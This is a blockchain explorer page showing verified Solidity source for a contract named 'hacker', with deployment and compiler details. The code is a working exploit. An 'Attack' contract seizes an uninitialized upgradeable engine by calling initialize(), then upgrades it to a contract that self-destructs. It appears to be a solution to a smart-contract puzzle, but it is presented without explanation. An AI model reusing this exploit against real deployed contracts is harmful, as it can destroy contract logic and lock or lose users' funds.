Skip to content
Verified contractPartialMIT

hacker

Address0xea89bd1418d55152c86cd6ff692eec90970028c1
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.30

 

Same code

1 more contract

 

Details

Compiler
solc 0.8.30+commit.73712a01
Language
solidity
Optimization
No
License
MIT
Match
Partialcreation code: no, runtime code: yes
Verified on Sourcify
Created in block
26,384,341
Creation transaction
0xd1f58469d0…0a1ea4c333

ReadStorage.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

//手动调用
contract Attack {
    function hack(address engine, address hacker) external {
        bytes memory data = abi.encodeWithSignature("kill()");
        engine.call(abi.encodeWithSignature("initialize()"));
        engine.call(abi.encodeWithSignature("upgradeToAndCall(address,bytes)", hacker, data));
    }
}

contract hacker {
    function kill() external {
        selfdestruct(payable(msg.sender));
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.